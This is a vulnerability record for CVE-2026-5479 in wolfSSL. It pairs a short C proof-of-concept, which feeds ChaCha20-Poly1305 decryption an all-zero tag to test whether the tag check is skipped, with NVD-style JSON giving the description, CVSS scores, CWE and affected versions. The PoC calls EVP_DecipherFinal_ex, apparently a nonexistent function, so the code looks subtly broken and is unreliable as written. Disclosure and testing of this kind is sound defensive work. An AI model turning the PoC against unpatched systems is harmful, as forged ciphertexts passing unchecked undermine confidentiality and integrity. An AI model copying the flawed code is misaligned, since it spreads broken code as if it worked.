CVE-2026-5479

/* * PoC Concept for CVE-2026-5479 * This code demonstrates the vulnerable API usage pattern. * In the vulnerable version, EVP_CipherFinal returns success * even if the authentication tag is invalid. */ #include <wolfssl/openssl/evp.h> #include <string.h> #include <stdio.h> int main() { EVP_CIPHER_CTX *ctx; int outlen, tmplen; unsigned char key[32] = {0}; // Sample key unsigned char iv[12] = {0}; // ChaCha20-Poly1305 IV unsigned char ciphertext[128] = {0}; // Sample ciphertext unsigned char tag[16] = {0}; // Invalid tag (all zeros) unsigned char plaintext[128]; // Initialize context ctx = EVP_CIPHER_CTX_new(); EVP_DecryptInit_ex(ctx, EVP_chacha20_poly1305(), NULL, NULL, NULL); EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv); // Set expected tag (In vulnerable version, this might be ignored or not checked) EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_TAG, 16, tag); // Provide AAD (if any) // EVP_DecryptUpdate(ctx, NULL, &outlen, aad, aad_len); // Decrypt ciphertext EVP_DecryptUpdate(ctx, plaintext, &outlen, ciphertext, 128); // Finalize // VULNERABILITY: In CVE-2026-5479, this may return 1 (success) // even though 'tag' is invalid for the given ciphertext. int ret = EVP_DecipherFinal_ex(ctx, plaintext + outlen, &tmplen); if (ret > 0) { printf("Decryption successful (Tag verification bypassed?)\n"); } else { printf("Decryption failed (Tag verification failed)\n"); } EVP_CIPHER_CTX_free(ctx); return 0; }

{"cve": {"id": "CVE-2026-5479", "sourceIdentifier": "[email protected]", "published": "2026-04-10T04:17:16.930", "lastModified": "2026-04-29T13:45:33.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wolfSSL's EVP layer, the ChaCha20-Poly1305 AEAD decryption path in wolfSSL_EVP_CipherFinal (and related EVP cipher finalization functions) fails to verify the authentication tag before returning plaintext to the caller. When an application uses the EVP API to perform ChaCha20-Poly1305 decryption, the implementation computes or accepts the tag but does not compare it against the expected value."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-354"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10102", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}